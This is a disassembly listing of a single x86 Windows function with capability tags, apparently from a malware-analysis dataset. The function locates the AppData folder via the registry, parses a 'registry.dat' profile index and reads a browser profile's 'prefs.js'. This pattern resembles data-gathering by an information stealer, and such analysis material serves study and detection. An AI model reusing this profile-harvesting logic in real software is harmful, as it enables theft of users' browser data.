Function at 0x41d27e
Capabilities:
Get common file path
Get file size
Persist via run registry key
Query or enumerate registry value
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
mov al, byte [0x458a44]
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
push 0x40
mov byte [ebp - 0x288], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x287]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x18
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x7f]
mov byte [ebp - 0x80], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
or dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
mov dword [ebp - 4], ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocString
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
mov esi, 0x104
jne 0x41d306
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
lea eax, [ebp - 0x184]
push eax
push ebx
push ebx
push str.AppData
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x41d314
lea eax, [ebp - 0x184]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x184]
push 0x4542a0
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x184]
push eax
call edi
lea eax, [ebp - 0x184]
push str._registry.dat
push eax
call edi
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x184]
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp dword [ebp - 0xc], esi
je 0x41d371
lea ecx, [ebp - 0xc]
call fcn.00410230
mov dword [ebp - 0xc], esi
push ebx
push ebx
push ebx
push 2
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
cmp dword [ebp - 8], esi
je 0x41d392
lea ecx, [ebp - 8]
call fcn.00410284
mov dword [ebp - 8], esi
push ebx
push ebx
push ebx
push 4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp dword [ebp - 4], esi
je 0x41d3b2
lea ecx, [ebp - 4]
call fcn.0041e503
mov dword [ebp - 4], esi
cmp dword [ebp - 4], ebx
jne 0x41d3dc
lea ecx, [ebp - 0x10]
call fcn.00416e5b
lea ecx, [ebp - 4]
call fcn.0041e503
lea ecx, [ebp - 8]
call fcn.00410284
lea ecx, [ebp - 0xc]
call fcn.00410230
jmp 0x41d574
mov eax, dword [ebp - 4]
push ebx
push dword [ebp - 0xc]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push str.CurrentProfile
add esi, dword [ebp + 8]
push esi
push dword [ebp + 8]
call fcn.0041c7c0
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1c], eax
je 0x41d451
add eax, 0xf
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x80]
push eax
push esi
push dword [ebp - 0x1c]
call fcn.0041c7c0
add esp, 0xc
cmp eax, ebx
je 0x41d451
lea ecx, [ebp - 0x80]
inc eax
push ecx
push esi
push eax
call fcn.0041c7c0
add esp, 0xc
cmp eax, ebx
je 0x41d451
push str.directory
push esi
push eax
call fcn.0041c7c0
add esp, 0xc
cmp eax, ebx
jne 0x41d470
push str.directory
push esi
push dword [ebp + 8]
call fcn.0041c7c0
add esp, 0xc
cmp eax, ebx
jne 0x41d470
lea ecx, [ebp - 0x10]
call fcn.00416e5b
jmp 0x41d4c9
add eax, 0xa
push eax
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x288]
push str.prefs.js
push eax
call edi
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x288]
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41d4ea
cmp dword [ebp - 0x10], ebx
je 0x41d4c9
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x41d4c9
push dword [ebp - 0x10]
call eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 4], ebx
je 0x41d4df
mov eax, dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp eax, ebx
je 0x41d4df
push dword [ebp - 4]
call eax
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41d557
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.00420e10
pop ecx
mov ecx, dword [ebp - 0x18]
push ebx
mov dword [ecx + 0x10], eax
lea ecx, [ebp - 0x14]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41d51b
mov ecx, dword [ebp - 0x18]
call fcn.0041d57b
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, ebx
je 0x41d528
push edi
call esi
cmp dword [ebp - 0x10], ebx
je 0x41d53e
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
je 0x41d53e
push dword [ebp - 0x10]
call eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 4], ebx
je 0x41d554
mov eax, dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp eax, ebx
je 0x41d554
push dword [ebp - 4]
call eax
mov dword [ebp - 4], ebx
cmp dword [ebp - 8], ebx
je 0x41d565
cmp esi, ebx
je 0x41d565
push dword [ebp - 8]
call esi
mov dword [ebp - 8], ebx
cmp dword [ebp - 0xc], 0xffffffff
je 0x41d574
cmp esi, ebx
je 0x41d574
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret 4